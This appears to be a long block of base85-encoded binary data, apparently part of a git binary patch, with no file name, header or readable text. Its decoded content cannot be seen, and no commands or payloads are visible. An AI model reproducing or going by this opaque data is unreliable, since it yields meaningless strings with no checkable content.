z!@aMdC(`=QEg`0c9<(8xoS5x>a^K2u;S^M}J6cFAtbf?`d_Ct-`ZmM@%2|y`S`DO< z9%`bUaKm$!H4Rm;uF%)XE*D|Q|EY)CpY%#3h@u{gOY`lbVEZdB^a_zPVsLD;##1}b za73eU0THOZ1s97$mpow+Q`B|4hf)$2|qhj+Ms z2b21Zy~~fQP5<6aKoY>OUQ{+EIRo$%ZV<>lo^&KEz1uLevF!g zA*3zp)3amI483;kR#`q?$qx@fxH05b_O4!zJ#&|Ly=PuT#rEF8pXSCX)#9#CuP(YL z4qRe+74Yuqb^^TZq3`eJhV$@a-+FU;=;szW>)u~q3CLH>2618Bb1FzXS?7$7%BKiY z8&O42%95@gl7TKv#@73U*S4pynB-;oTiwV)*}wH24-7seinmB7hV9N)GZ}%y0uvc# z49+$Q-}*_#Q+HM6b^_ea@=tF!BcBGNho@hQxq|LQU_K!X%->4dykKhDwUQA87O`F{ zUII$WWh>=cF2V~9pJ%`ukt$PbFz2FAiqVsKf9B!^6=eBGY{GB%{;!Eywc_ zwCYU1j^1|Iu2BS`lN2x&NkEHPc6D2?C@M8JmBT-852c=e^Li5r_%cNB@v-tpDtoJj z#fnix6F-@thb$CaB%jwoi}2p-o|Z}~j-XIJTf7VL=2xAWg;gx)x{-C1QGaNG%R%^S zI%8~ulB{GFJ;RE_W9@a#Dn+k4s|k^mhFWeL1eSL+Pa@{owPXP1i$B8|Fiibv$1*Rc zjw`HP?T@1Nc-Ww_r4~<7_fpO*llL{qB)wKb@VUrBoEFfVEfU8@8w%6;Mk*G93ummg zJ*do}j$$T6&Lm0j++NY5W zrB2CKr=#b2E}3K35luza!P_wGd1zq`kO2U@zd?)CMcISaT=hq1BT{BbtRN&UXP0EI z2GsE|<1!?IqlNH9gD%Y0n3K*o`W3#~Z=t4eow$@~)-JE#%`dvM-3qdCU7hX@<_{QG zIrNiSu5_UNjJsd!L27DsTm9}!Ql#4&+vc#G4)ans=5{-K|1*KExRWfINxQ%sN23Nv zbS+XNQts^rv*=&?kUN+Wh;y&8-cDetyddN{IvCcRB}C*EE9t$ ze$zI#B;}M8v!wsTn1%)_WR|?qW3si%zUTJ5($c~5?j1J9AM$E&*+=E>kE#GSB;R{~ z!8#e}REQRcPd><{102zJUrdIPRN*#GYEgRiee0^ND`FX|u5e}K?*|VfVRC&oO4u7G zSdd`3Ru`GiHfeP(2g@z6#>9~F9;(lcd56r^;salnXNLSF=4L|t)fwPS<9#2X^dpA3 z{C<`YKmiEvUAr~d8&BL_Zf9Tbk7ijne24v3)`wbVJ5TK>X#S|lBam%(vO3e5LrpE% zj{;FXo2RtA;9qVaIGWV>myPHeEs=s`)ZvF_dsSJxf$hF`<`;@{Ao2*~y0 zzPB6OjT04rC|Z`n>-K^$M7eMzMW;2L(}HrQGPeFGq(t>#^{CZlmOfp_{P=Acs5Fh? zbMC=(I~TKFQ~rta=t92K1SC^~o*{uHk1HuDB;Cd};Xac7`{kCl&XSu>K>DloLODRX zzgO-{3I3^_?SQ&5Pl*$I)t%02AQCjH?n0J`l>$n~*jTPsm#i!OInyh3XN)`&W)eBp}XPP)()opbgKe4o! zN3#|n^dw6q0=Zs@+g-$*Y&=KvN_LsV8p_~N??y`6_|>ILtC-USKH1~4S=obXTh2|Y zpVT!7IdxOs95-yvTV1qE0Z2$~oTjA^eN;u}0b%h`ASH0$h+06kLe(L&wLriEjWwm& zw-I1WeuR!O21X;z^_>nEmKSvBOg>eHkw_DD?Rvb+HYy&OdS2eATtk#hhlf#QV3fWn z;DW|QU1y#RZET$ehveuoaKYt$^(>w>+q2fU_0!O2PK6^gIb>N&+%&A-d>z+iDm#SS z)%MQ>+gwdu^-K7-uxQM9b!Oj_jNwp8W@!o78BFg`aZR^4-!(!ZTa+sMt*9UqXFRBj zkc{QSi>If%qm-_$kni}OO5L#QpN1{jLE_Fx#Cg2WTY47;i8{_6uatL1H>Rtb9DU4=Je>YY|103Qo@qXYdd%G#pKS9WRo1@Z_<-4zLs<7J;m9iT8GnJH2pwgHLEd0x6>hLiiU(epp5PD9_S>ll9 zW-=OyBTX$Cec6&nGLakE(glAUIf>DWr3v-=7`0_m!m!N*xsDA*?{gN8AgAsQGX}`< zo(znJ8k;QKB`mCq6S~;Kf0=HPhn->JGFLf+DiX-7XXPewC={+}17C(!P5SwRV31@_B$>=bOS>D}H`yj0Ub&|-u zCSzYx790XJZcBRYPtu8}42>s!Qe_m7>}nsSSEa}JoTx_R&tpga7TpBK33~{-S%$1<8)L!uM(h0Lio`oq9*z@~U2&DP7R3 zJ2|maoND^f?$b5@Pnq@aiS>W6Mv(9!dc&MZh&Zhqq=D&o%XQm?wHIFSja?W~AG?Y+ z|A^#htyH$*@%7emX@IgVSRGsLI;6Ce-poEKW)sH_lTseN4djWal=fa5D}PWO zB^dvLL$&mo#o{I*_?AcfQ4VFVa7ID;#oTvRuj;r0$siGqRRZc4hs2q6XwZt#@(Y0v zfsRq;nY|RJ1YFS-XllUh*MOrp5i#hl*~$^z6c;o`I{|n=?V>adJmOPmF2^^oU@>6n z)uOK6*N@qWv%Do81G@Z@^&_s2XTHw(7`!j2zr*g#>T(h_m?sJhb7V+$+USHLPC~C) zaCcAO^a`HL1QV?BCrmqh@Ji2a4n1R7XR5IGphW+z=|MI9^Eay9ttKoGr2s2ac+OEe zy+8#4LSUP8;~-o&%Ub2N>Zt4ei)>TX3xcIB2i{yehU=qsOXGvkm5&k?fUtSxPP9F~AShxsj68~ZoaxZqSDbIo)`0?a3i z6orQDcbLDHiqR5rZBT{>bfr*HyCE+Gwpw z!|eYvY!NXl&Q|hL373+2|GWxs{9k71iznja9dMPZruvK~Eh1~r0wiw^ID)KE!qbC{ z)7vYMwJDS2ogiiRjVV~+w-ZDp6B?4Ab~~H6wWH;OI6`AqDta@nvR-_R5o}(g=6&~-=TgV%cu^oGrb4&1 z1zkUd!$OZ-Az}6Q&AwZV3oxxsGxn`MXKx6ZWLpIK`Y~ar>qpA0eFq1T`CUPW6Z=Qj zz=D`7mqaf2Z;{(ei_sp5c1^0K+w*KYjJe{WID-_1H?$Jh$ij_kU!lUt)S(n(wmxQIWXIlVsHNwLu8`Swj@ z6uhn_AhvG)C^Fd;s+d2ATq~lb>8{!a@kcW%M~!strl!g*dKLzf*sM5?USTD?K<-{PvzBmHk8!Wv^X1DR25mHaOCgLvPuQ%KE5U z{GO|ZHh-zNz45&hDzpS6@^x;hk`RGI{`wrD|$17BP=A4ZJg$(Wj0jc}&^j=30kXBJR+z}Yys4=8a z)(cUpwqbCaxpA8!fT$c1YUU3Q`;WEiOqp5BX|Q+XjAnC;)}2`wtCfdsig6peGs6~8 zk0m?&Ez3yxTGY=Z9lLMNlVfz&my#K?Ot8n{;U>eNjW1-Cf=UjFWzMF3X{00aBy_#fB`4l4-LZKK_A;>LV*QHu@g>8Rgb z^KT=VoL80fqEiSm#(rFC*ES*f_I0_7UQ!g;QAi_89ErBWVsx42#0}a;w%=l=BAkOQ z_w;SF$`%Cu`89^qCA)-6&X?Xu z3Fzxe$8P)>k^MB1L40H!yD*c;WIDpPU0KC&^;YZ%-ElSg!BMUgK6_g(ka!)6vuei!;8RL8678-vZD3xG)m5*T#T$GoBCiuq-x~K_+!p0yQ!}JQ0Y6%U z!C|-`8m-$g1>7Aob;PJ&*QgA6LN0gbo=bsSru75->|0rAtxJN@Z>=bb^Xba9xsscT zN8)4;3Xp?Dxb4moEH#>Yb_Hcb<`)UzkI;Sq8nEU=Ffa5R``TQjQ;pGLj;5CyZ_P9|Q;e|;6Gf?&0?OzASD6$F7l+H{BtQ4{AfBl7O=3p^U zBp_okFrJ1oyt9Y;KyD4*v;EZdqDV1QVSOq$PA3)gEwKqL#gb8Bspf1XoXL>U;=+@s zG+9_h>cYi-PR&jK?gxk>a-ei;1$oabPN`XCfD8^6qvL)l!d&@XuG$1^fYg5DtmAPh zj1Jqf*IUUCMj!Z1uzSsGO#;jE4&CZk@n?Izh*ii&su)lnk59VS}H6g`=*bjRy4 z5nd}_vfk4DDA&_A$-_@5o2{kKryqHB(ab2b%sY&!(HmmA4&L8cG@aOmaBWeG}NWlW^w=Jr)`yPWsiT z!kM@r&0tMmD=-7C;EwlSR&d2YM6wz|wod zL^ce~(l{4f31Qo!H_7NXC! zut+Kil@mHAS=D=22-W1LSot^Rd!Snutp1J7kcQWEaR&rvyiRGR7{nZc^-A38Z4N3O zaX05*Ox5i!Q|TpE(v!TP8t04WZ{Yk93raw7jN0^Wekw18VND74M%lVU`|19i*J3A| zbXk&@b?$bU=p;eh<~|J-7S^p)*>juh#qLN-i{5b$UFQ*4jWfutWn*oMQp@%>x$b#s zn6@kK0P%qz$jB@zo=SjJN06M=H2EIesT~w`UEDFF*G_F@K#Brj`BV?wuGGNvo$td{9}w@Hud0{c-VfHe2+hhD+cb?Qg?XZ1wP zM;Qz#9V6O@CQXc{iSH_85v+V`Y8$~gp$dYn)|L9x$3-J?^{vF%`BDJm^O&K|)_Sz2 zpYtSIGsi>J=M)Z*wm7-#yxtl8xL!jk+npg*{&?p|ub5J@q~}EH3By6r*o8N!p={q? z$5xHe1In8&@zuxZy(>yFrdEN4 zmsHxU=+SC_3qbaCIh=1-D6>+g`mjv1#6_J?#8ttvhI4iHbS?kFAp@^L0;-8UzTJn( zpeD;Rqi&>3-IZ3V5hEEvY;4cKRWbp$OBv6A-ggWSjZ_kR-W`i)l+6k`WlLRltXz^v z7}tRwy|IUT!RW`+Why~mEL=-0hG4%`2P*A%Msjt7rud6E#&Sg)g-s%m8k6Ar!$Ev9 zxc)WiXnkfL2`Wc%3HvJOhdUp)Nja5n0^`Y-EVHR#ACY;9vQRj5j;Hdg{1k877+?sT zK2G}_!zL-=#sb=FL&fJJ`IRpCC;=>`Qj{M0G@SOFg?evch|qz$&n-U6?S#c4H?F(g z{Zh-MMpdc{n?{}hh`IA4mu-b*yt~v0{Kj42B7TR~W?ARWfuY?ViI7*##RP*$!g zVfa?JOPr!o=1%!?VRAz$KLM9xXN2o*WiY?f&mU&UnwNYEZb(JF)viBA+9s%` z{|hGwbXZ%X);+V>ZK@J&Cwk-VZyrR`oh9(U(!AK?`?{BV6Er02IU}(h z56LUM?EU8fpDNYCi!MG&`u88;`jKI~(6_ld5_SVg^X!dD5gpM(k-C{pSfrjxNt+(n z(fav7Gf0UkV2z68)A={HEPl5y5Rg`2b^@ak@z_?z`9OT(Mzqj<+o+0Z&%1%-I6fD7 zSQHV>30oqD2yWgA&I6ouV#gz0;VO%N_K=MXH}ESY6XOFPxN>3x+;e%>GkEJD)APo| zbkw@RHTzzeZp=CkZ(z-7#7U#p!1KSwP^bD>idhJ)y=SG2Ll06f9!oo_mMYVQKWWLt z7PII>%W9xhr%u?&_<(Z7A_6mu(O7gAN4)3NsX>v)4pEtysa|EJx($_<*<^aUCjS=A zoepCvN)99@)!KnVc2Lkz?uig%&6vc$b=(tuYfF9xB>xxd9bCa@2vRRu+=AR+xlL4m zoSwFJ%)T8`TWmbZTEyPH#t3#P+=0HC;}z>G!3)=mKahnA)xL7`8W;<{?rJ>2!Emy z29OY%1bY5W*@x6Uqs^y0nyfPZ`w?Pep9DI7%D}w}{aZ9Jjty6~)G7Bw{UN%6Ki~g8 z-2XUpV!VK*3SEZ71s6BfpuGZ`(8LB`_6fh%H!<*Q}Y$3o}sa^|3*JF&m+*>^=?}i z`Gm8hO|w?wBXmF*QGkB|&1#21g*IHTy~XhMVosyg*vN+#>I=nD*CI8ArD+9m3E zIQgnlucKjqIYuwxy(ad1o8@QJGOtB5xb04_A;uA;0tk{(#Em5-cuZ;JQgOWmtVU(3 zGk@ym;EEB;XDc8~2NV!?vnDZs_5JeDICN#{y|zxAQMw zWmA6|>OrfGK}zLX0&T94aTOQW2K;e^-Y6V2<+ss2aAser%~k1s^4LV@@gN9no{^ae z>7U;s;P}FiPQvd84&PayEM`yPv}yo@MBP6`5R83dl1<{MeqE@L9avh*kZ?-&zDOwS zHPb5$7lm+D`4sLqcUPp}lb9Bm^aj!Xv?g*k?02unYfTiuUH-x1+?5YsPk0=@^yf<% zSJ`dg!KEjtPWzL>b*5vAHJ`+(6k=cINxl-V`6Oj%V-uZPyKOi(p4buv&(Tr19B0^u ztp|J+M_qe>Azkkk%DX;3JcWM}U82gc28pMkjS;F0abkIIHT}Xyual$AW`7bg+xZxy zG03&g$@Y09#LhS<*FDnxqYKewkrFNnc5hElaP->2fq$Qz*4mObe$Q1xeG6P!VLDkv znxL`NVnx#zl}Zb}+wXYI{1NkHxm|ReN-BoeNm^Mb@~vhwCqv`qDfTD{6_-GygD!JwXf zKX`UGS0P&;{F5KKP|N_ILG4+%m?fN05E(VB{bD62ceK#>>bGcQsTKN^<5Bd=^18r8 zeRvg)RtPvPU&?3kzvAQ5zK3fw66jS$rqxy2$4(DyL?J-#;*ZVt&+jK2o*VUsQKt)J z?*Ki&RE$);;W_~PQ*3noNM)b~ER;)s!=T29ZKsBsE$H@Krck$ay69s)1>TT8m0jhi zVuK}JwLJQapCq`O{-6@u#kdb$GS`pVi3FZS5y8WXfs@pJgLlx`1}BoYvKbVQOMx9Q zcZxfVl{{_evg_G39cP(-Xl!1e#fQ(1`kh{#At~OWJPvsKoZm)MLh3E1E$qsr=j;o5 zcU@ zs+yM*MHj~tqR;NNhtfFo^*Jr3Uzh1L;~}A6Un(c^yV-{l9Q(YL)6%Y|;Ih&4*Y_p~ z<8wKY(r;aVXukud&|(F>BKbT81GE>pLX5^6U#w4)purhuFr4J7@`9lm8EEk&T>z@J(G^)+n;7uCJYbXh8^W*J1c<-xC1y<+dx z3$Ro<-IUt2rRJ~7lgd*F1Xqy94l<5QqLst>e)6ppJoH;#+w&EA(C{S{xLvQbm@!l_ z0rn3aNc|ywCnra!6={K^7z!!}Q%EYau2!`)%j<(0lIe$P1WL(>2`4xiq^T{GSfJJ{ z#bD?7_|PL9km%%k-xO=aQ&#ZUVLoLP@rDC^XH$I0kie$HVJ*OIka^b`?-|$QK~GkEZ(pUQmQ8H*M^8>az}-bxk$kuTT)Xs#@{s`Z9Ya2n)LDtT z(N-p}Q_`L@?n;SHJD2tB*GK2WYeAJ#EiT2y>f2WPQD*(zml?z)u^QMibX`0-j|SY_ zysMj`{X9Z5h?Yw)P9`#zNcO%xes@?P9+EtM3u;c(h#qcLVH*X$YtwK5g8 zxZK2F(?6OW3Z;loh~pL2t!R}v%*Nkm@Hi~L$D6`;IKpL8Bgo{d7hP(RlbtE`q7N_j z7DB^SgE(9iK@{qP4F-l1RPAY4n#IJeMs0$hDdl#-g?lyK|waY^q_%`VgK+)nqYU z7u&R_?whQU+X~(F*B<|ded(|x-+y_Kz42qCFVY{Kq$MobC)_X-K*Ci?^G^px?(6ex z2z3vO^2Nqjo@AVWd(@sgeE7>k8?Bcl!V(5f@49)gTeavgm8i4edA%atuRWGJCRvgBz#1kq?K^F zuxzy%Y`@&>0J6i#@=YpFGt1rAPuM!!91zvoZE0>!eW8m(eZf8>}88+Hs$eOWZb}NwI&i}dOz8q z*{J_;y4r!)cD%+_8b>L>Z9G4Yyu3Cl+-9nTXTI^ouNwQY-RS^5{-9-kQ-h-VjGivd zTj{*wS#{?@r&52=t4Fy;0o(7GBt*Iu9;w0(Bx$^&Fa5awSnKyIIPk?z#978*-T!Lr zD_CKD`Cg~j+#0JLCsxRtRmyLR=m#os%=-Ned%e>~l%0rFHiIZC#sh#_Z>=gx18DzBacBR)g;bItkpzRm|oax!N-$^KyJ&hITcYjY7+O-|S8_B9RKX zMyOe(;Za#_ymtk1xr*5{iY@|v_w6kZ?6)(SZJj~AP1h*4MJsXLtxM_lP2r734{ji?Ocg~ZXD%IWBNSGOzK^3jaz zgUSPU>&X3=7R+VQ{|qBmAESLV;fYm)=#^e~ty~XHEcS{f>ZD(v2i5kh9p3@_t|qR>giRc-cy7={a?QB1{a%Q25VY7iG5zYsp}$IR-8iwH&6JSMk^E-@bEtZyp7H4_ z*6r@wysHFU(CMnLktY*kvdal8=-5NK6HX0$xygw4s))PZ8jBMf?xdY@q+TSUDo({7 zEXjrse#|EuiwkP$ChLU;1o*Z;Gq8x5^zhU@ujUh3qne%^Oj1>PwCB; z;PP28rD583PFOQL!s((75>qiO$*LzisJVnBEzQ;w~{-&UOjTVK^DC%~F;yO7^{@l&XSkU=w|-iJS<)D>i3WSsGz zB`qeSoIJO?lAaN<_3$*Nc6G?kK)g0h^+!CN#PZbtsYHkmrfJ3R(bbv4bHY`hxB=YAl|L>#yomF{;APRt4 z@DOdvZX=WF8{Fqcb2|@?ln63eZ9XxP)Sg{Hv{HjtSAuTH3>Cl3RQE3`lX5$Zws-}6 zh%ciEct!zFnKvX0=3?9?I{L-8zshQL&s%tLf*IwL{AUWshZWwGK;2iSX`PGi0?AyQ zZioFj<5gz`eurug?+z8gqDy}PcbhBLg$=e;Put_%S9;C!8UmGWAKiM!NY!i*i^77{ z8^nXIuWX?gV4A&=hjda6uW2Wzoah?cu&T;7imH>u_v05+%J@VCl{dhu!KonlHpR9>L95UchaC zJU0^B{KxR;gPi|>=c`0CrxxTCX?wcY#NS>YO~?NU8% zyMDZ}3=h_tIDrPeyMWA@vP#PLo*XXG&8#mg4E)nsJgfHkW7sNKf|8^CtkV}E*H*iC z#Q~1tiN~&YV=tahxP~jbNbEQrt62pFY^A8`N&~qDNqAXh;gXWtuG>Eh>>edR1IXZF zg#;pNa+^2O;oy_S1$dq$GJOqSb-YBjq(g^0KDIoJH#_zs5wx7M_k~D!*|&@G-2{TW z4|xLE{Z;=1Ufn}^N#%10fpsm7st9D&Ndx{h9f^jf}BZACUrM`6&_t#8tHb?Sl=3Vp%4*FnN8w*17NrQWQEz` zANux64=mMZ@weE-Kb(|Xo5oC#YGThDPh=l!yiI?-y$#eHPUidw2fD$@`k5tJGi1I~ zJCV%= z0F=9@{;wDSNBR~p9l`Z)RyaVQ3lloO9aiZfkM```Ek*dn$=Svz>*V7!1qn-wMm__t zL6@0=RjzgH3cg+5yutbh{oe5Xa68q^UuKy|%dHDvP2FwY4;%#uY73e{GANt(!^`nn zB%pL-cbn}P--yow{Y}rNhQH>_p>h@XDC8h<1tFSwC~~zvZ9xh_P+PCDlmMBnNTQiJ zIK8=~E{b8!93U!S4BR!4neohEnzr#*k{5IP)vcap9SH$lO zf{{ocCM0Z)X%pv&z!SU%s|}-&o*U)6kQf)?LZP<$|I)bnq3(5?wJUK2Q?`_yvxDFh zwZ9f#9PE={?O7M&MejG;`HaSL&~wM%Qp%Fmi!6q>1H&E9MXa!156_JrAkgNa($wTl zYJ4Y@u+VG=Dlz&k7_ZjWlJWTb=Z5A(feB}gtnbU)n2y`7B$^}SuRqJ2+BIVV^1=RZ zsM)S_A~cNR;YG9E?4;bMP?OwC8^-ZbU0=hkuQ`|IE*`JdomCqeBmIchYmTyA8PoD! zsp(#PUp{b7QJx{KRd8KBgt63y5iQ}XTrd}%_^dd)t#(lRgBp0=U|I-ZfR71@#RxL^zW;?z`Ok8!~*R^OqRm zbz`$k<;b;*WtA@BDBr%^6!?`b`2w1A6+9aUUkLPQz z0g}O;740(-E!K~gYFSW`1w?d$mb-X5w^SwlZc!jny@?qUB=IlAl#4gMFOfKW+aojp zMtnH&(GaE2w-|(|dp5k_hR)2q{S~X+rO7u1k=)q=mL=O$sg<}2rYNz~zhP2_fW1P? z6T~@eQ28QekHU+hIs_9!OqZL$ zH7j2Gk_1co$-(1*2m8&Lbc}`{)D;8xWOKVz+W$@I<@D~=n=EU%jYz<0)o`LZ_7sTyd$OG0o0=g9q@~GJduZhj_cq4DW2Gq4?z)Q<}PTC-RlD8u=LRk-*t%-pT z-JBcpAK)B*XVQQ%(ghjf*rJGNa zMVITEI)Hs9>*uvKyu7Y<+wIjq5#sko1@cMO@#!3t(3pmAf^b#KpDs@r@sZ;<9LdRu z)Zil_H*8F?{Us1nFjKS`4>P%z(#%rzXwSg zsvE{X+y58L@)(5U=+3RVt=T^<(dSur2An2Jq5K^9cfVHH;5gdG&6$VuuLgbJ(ZIa| zeBb-4Xg211qpXj}t#+1fRODZXn0yFMfd%t?R0IAs45v)+610aTlVoGce|yT$ou0=K~pX1q%EXI{NII z|I`gRe5Y&b^64#bNe>Qgy2Z?ST>KVE%Bnl(?Gd+><%!FZ1 z#TXz-BzVDfc;?eDp40@ha(_J`0(MmtJSCAy3vy4`TOiINTa@Kk5_Bds*|uSW@yUfQ zy1MV#G_~8KOloyon#I<7&Ao%~X!-bi8bqTHEy2nToElubdg6brO!%QJvfmYfJ4MR8 zDn{I8fsWfh#ba|-tlQddFqgC2X!Cnqv8s6g?#=;9fHbg>ISFUZA~`_$qUhRU21Q4! zd4WE>t~^iRtf9znvze{uJda48Wj?47-&*6)YG^a`bnS*ApDv5YPMIb*rU4j%|0f)H zf)ar5tB7LuIP$4n6VaI>3a-cGd6Vexa7e(-dXB-}9~o-zzhGpMy?5&II938FU`fvw znWz8Q7V@__wjmSr1EFRwpid}VWGd-wz3;jvlVec#v}$h+pjCmkZr8FiN;#f#{QOXS z(yaT55{MG~tcK7(&uV~oF@Vw+xgN-+$3t9s%VBo9pALcu|lTfP~(%?JoiqNd6KfAUq~2kqt}w!aQhLfM&14 zy%n_oxNWIJI=0^52T8S9V^G@@6Z+JPV|Uch06#E5CT!+!hWlT`xA$@jm0YHvo7bW- z@|7d;<({}U4lnr)Fs`|#{+H#@wgirTgw)gg~c833!Dg5VwL70qiJ|(T~?@@ri z(*bAshgJVV7jUl(_-&ks8f^)G&7Tk4tvA2;A8tqf4E~AelknufT|~^2!1ptMIgZ~m z=mS4aq}^=8Jc2}sFc^b`L;L9eR_pUVlRF=;qA;+rfqTCV%HHl0rfE^cF09ozn=Sw8 zGp@ZUeji!@Cp-J2GQYz)t6}@Ob`aWp-JVaY%SkXApCpfv`|dA&r8?k;HuuXnPhY(3 z1Ba{2T74eAB9VwBi1L5=h>sK%?Hoe_0 zKebZnGkR_QHa|4DGKU_-Ks+Wqpkd>y&<9wsKt0{njaZ3!u4>MUg=TxNm}-_P^XcIC zjO(eAN%0S+sX%DNR`Oh}^|xV*+pk4VTo)G?>5}vDo0HItJ5Gf{C35vTRG^CS-eM$O zxi(dnIPU=86NFX$i{yP5Kx4y5cI>}jZ@vKdujzapUv+c}a!_R;y`9jDvflL)eq zj%2RuGRG6<`Oebi<`(rCJZ76nf{KS^gTvIv zIH}lArh=GsrLs|_CTA3xZ1Km)$jHDpj5U@$(AneycLuf9)xc&d^ocFgHcoyDhct3h zq0{xkW^3l<)O{U_Ay=;BY`J57VZmKX@N)NZhWAdt8U*mmEkiu^!)9!(tlfgXZ=GFS zEH?(#$8$#>J&6A4nr%9|LhvPSx27waT`_%-t}!sEBAIUIM@CR8^at8bx2(UJ@3~&B z>e=nysm)ZGdBxJ}ERAOMZBALd(P(hUoBfzC>tb&H+V$w$5%S+Elf$4lKuA&a-oWAI z7833Zp^LW-;HNbssWh>G=Ie7DL)1~v30gdh1@+HTELzPw*?_NZ1W6=f`Y4!aYX^z~ zrKkLNPaNs>Pe0#hVyl7fb-S3 zKZvGDNdLb4#Bd`2soZ@GohDHNVwY~)+7HuT;;p?=CVG5YuV=>pq&+D)+t(Kpl;1?#rCYmzLfUFq6yWUI5O;fQ6;WVwJx2tMu*7 ziFzN0sD9L=8{Rv6dt&j}H}myplM)F9*7<4{l`o1M?GJ(6^uNl)3oL|Kj8XY~IsUF- zGpM|6mTyB(gh6a)PGKP6QBh5Fv=iA~FrRlIP6KCp0Z0G}C!LILyF7WTwcJXgKtBt} zbf>ee60c6*Fpn^<>+^RE4#blF^0Ek7zyh1@1kJyY^z>;C9ZXzU0+QbOBn4W|HOYG z)nqEZDc8hmy+3%l?M0e)7M21qF}!vytGR&t`&|`;SE>}QHkrbbBqV%-xCN-^+{ts*75bMEdN<;H2(x@ z!t&Gq`Fx#i5`6TXcG*rL%QGZ=Zp>X)U>~uwWBy%h&8Sj&Bcl349)UbFYFPe0`IBQ^ z)mJ!-c;g%6hz$7xm`b3yrWgj1&G?hnhTWG9%aE5Kp)%t9)TmRXi zvaT{1!bGuszO=VzV2h-5b#^UKZ#ERqgg-bqsG{_iPFhlJi3=oP9k_M-m+5$C)G7U% zpP!SE&vo3TJUMSUd#XQ}Sipt7(h)$_KnFjxA{_bA-OfUz<{N3gT#0dzvmb=J$^!f zIVxJ2$n7Gm`bo3NISa*e9LfRQYBO2C7ip$^GmH=BYBRdy3R0EGAUfr~2ZKD-UGp60 zPn0V?5RKNt3k$tUG@DxnR9Qv}jdaRNB|i@(t9QJvsh!|e@jLfJ6AI`%u%wxh%TufU z=^JRru2HYmhN)kVpBSppT9BsH`?OP;Y8faLNY#gcmh7WetDJ10)z`EwGS39RH|C_p zV`pK^>R4t;7E{F-3k{Ar>aFthWKJei#l|oY>h&&b z_g1Uj!TIvWZ5?ZkM$YToatc?dBmo(+UFO*)0hm;Qw5U%DnepYM>HF*L%)=#qE3(`NQq1qpN{E zLF!Em-KU|QG{5(~w=TCFZ*qA%X4b2tRpjtE5QpYyU0dLs?y-Qycatd@O&lEDL!a^M z*;Fl7x4ZD-Nf742WC&|ng8Tc48-)g67OG%A5B7++Vm9VUuf(E2j}XdG|9zP?p4r61 zAEQrey!+@KqaACo$j?HcP)o>1q|BUXmRBpbf|!rj;BmWtZ@YOO(9X^#PF-h9jktAn zX1olvE#F=4K@yF5*Y5O5JHvLytgONs7o}9;Ezl*QiaLrxEE0vv6NCkQ z)lLfuJ{T!Eu*iP5#p!5m6kxB25`Wi`82TWK!D7zE?j|f+N!S@LHWFQDw%dh2(yk%B zH&0hzzKxiQ!%iuGfvubwb;0AT8`7_5mQ=YDS#xPIUngtNlxk9qdIld%}Zs~Bnt0S}??j|+V6f*|p zK%K5&KdF@&F6&M;OQ@!nowLzc_9SmbXie{R09yxbZs-Cq+7NT77GD-AH%gv&;4sQ> zl?HY#02Kz@SIk-ywW` zg2(L~+P;}G5^WJRKG4x2?}q+KP{oUkdquPN~l?YuKmxzw#zW%=fFrO)Gt-KTmn zns=!CC)dpQh`$5N(iK3{xBc{P^w z{+-r@U`i9$((!&H_YCE?hvSK(*dLW?go=Hwce z9rF($B;_bi{Ez+q!Wf~V-$AiD2Z7zLk~{V2_61cGlhaXp?F!{HVheRF~l-C#8l*3`x_RDwVl}q4I$a9CI~y)yo%=vo>%d4pS24 zLW^M;`J-7^S#Dp(Eb7?U$)krXl8%ze!Zx zOTqw>R1}P6JXshvI8#(k-0X6VNwjve<^hM)N6)`SuigH^ugAqhwfcY%xMD!IN(hL! z;4!K8kCG>xieEwRkRGJRBR(p>T-(gB*B-#p^)9ZVnPbrCK>St_TjpN%OTT)k;IHJxZ7Lel1+G0_~irQiTm+ zIIbO5R+J3>lG-B*v6Wx$E=L*d^lp(A1@ccmuGN7qXN_(!%zUPjz<8q2yY4JO*beqY ze@8r#H7rqpOE^4P53LMGqTG-!v@Sa%lep+gWROhZ{m`w>ioA9Sp%rNjYO`_1FGFWh z@#^b55}EGW;gELJl3>GQ`w@ldUm>{jbO_a?vCMDKU*5knlCn&>1IYspA5BA#27HQW z+GlPeh&u~j*ust_l=1m|f+z3g_0G0QuHd1aLGo@UTA&pooTM@|sjQ`+i$1e3Pg?5^ z(=0)--UHqxt`2q0B)xsj@ppE6GXZ=)c5&4AcPSLeL3-iPxw#qnW%%{Z;=y1AE%;uv zRvxvs*)Hr3|LBoDr4vp75S@_zVfydGZV~Zu0Opp3UTT;Yj%fe07@{ zUI2=%W{3#;jOzw{xCs1MM)5i=X+-zwsVp2z+B1N6S{d*8L73@2#W;BrH; zuiy`@G<@mRgdX#Rq^4f=JAzE&Hxk32o=ccN>*4I}r!dJUqoXnHW6mAD7uD%vW~ckY zhQ+St-3%-08Hb$p?JSy4I8R%WGvEYK0JEzj~9yMue8v?XfCP) z`du*~f=%Ob>`S{kOAxFfSeADm`q9)NFv?$NyAurUmT#~)gTJS*giI}boscV5b3b>6 zr33T9@HW%V1WYlSud1@#6mHeuCD_z5E77-3sEZ_h+a|`U%$36#@`ST3hD`M7fBm-a z7Ee?{Y(SK3F2GloDKi6HHDk5Af<+Qo%&NmLR{|<4wfH^;y+iptmNS&*iSTF4{V9hL zEb;lL!1H3HJ^;I58BdQ=wI@%OSDyd`gm-W8riZM@F=W|MF3Z@g&h6ka$u%p*{9VeU zkoSx)4yNkk;+ahNcYW!(QfHQFUuDv4d95eW9r*Mc!P zFb^Kz5@9Ug=2|Q^@d0EhHG*u2yujwX$8q|tOULo^@kEfN);tiOQDD*9{^*Jn!fb*f z5Ev>g9pwP(z*)iY0D-S^~gcl(X`GwzyD^Tj48 zgDXG?CIy{uZ87iOAfw1Jdv5LqRADB zuxFme2jx+QPM73xzy@8buE&}-1c>0&m|&5M>ER??!VMFk;Yv4Ym@1!M_Kln7ias%! zq$WDhxZUjEN=a<&pec^%iNxcox3X!`#T;U}Y_9+6k4}**wvpV+O;@52NntIxy-@Tv zib6Hq>2y;xOH@9SmAcgSyr5+hgrni-wWT`N_KXO$JLlYN>-X8o#t4udOe#s z=MSF##c<~fGMzMnt|X50$QXysVU$P~3-f%%W@eX!KiHHS4V;k31es`RO_|Egkv!`h zyj~)Tg)Y$klx|$$z1}$70X0sZl}wJL$laamjRhsU%>_9Ib!Z3{i+LL7XcT2sj@_P$ zG_d^`0a)adet-L$21LwWsiK8Rc0qF+cM#%Yx5N(0Y77w`94Hkdc{=9{8fJ3H$ zu&QS${FaY%bMw8@=+P%_QjBfWvQOP%q0B2XO}s`|ch~8WY_cz$I+IUsuaRYdjmU7O zGOkj$2Qg=x@kt!J1f@#311&_sfWq?KB;S>5_cwe>&9wMB+xZ!c@wWPq_z&;4Ieu6j 